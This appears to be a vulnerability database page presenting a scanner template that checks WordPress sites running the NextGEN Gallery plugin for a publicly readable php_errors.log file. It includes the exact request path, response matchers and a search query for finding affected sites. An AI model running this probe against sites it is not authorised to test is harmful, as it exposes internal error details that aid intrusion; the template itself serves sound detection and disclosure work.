wp-nextgen-gallery-log: WordPress Gallery Plugin / NextGEN Gallery (nextgen-gallery) Error Log Disclosure

2026-01-08 WordPress Gallery Plugin PoC Public

Description

The WordPress NextGEN Gallery plugin exposes a PHP error log file (php_errors.log) within its admin directory that is directly accessible without authentication.

PoC

id: wp-nextgen-gallery-log

info:
  name: WordPress Gallery Plugin / NextGEN Gallery (nextgen-gallery) Error Log Disclosure
  author: DhiyaneshDk
  severity: low
  description: |
    The WordPress NextGEN Gallery plugin exposes a PHP error log file (php_errors.log) within its admin directory that is directly accessible without authentication.
  reference:
    - https://wordpress.org/plugins/nextgen-gallery/
  metadata:
    verified: true
    max-requests: 1
    publicwww-query: "/wp-content/plugins/nextgen-gallery/"
  tags: debug,wordpress,wp,wp-plugin,nextgen-gallery,log,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/nextgen-gallery/admin/php_errors.log"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "nextgen-gallery")'
          - 'contains_any(body, "PHP Warning:", "failed to open dir")'
        condition: and
# digest: 4a0a004730450220135bd5177d81722590a6dc84d4a8916ab1733dd2373ac53404ff96cac1a48b35022100b7071a990ba99a11d49c1546a7071d40810183019153b756f59684fd87c32476:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities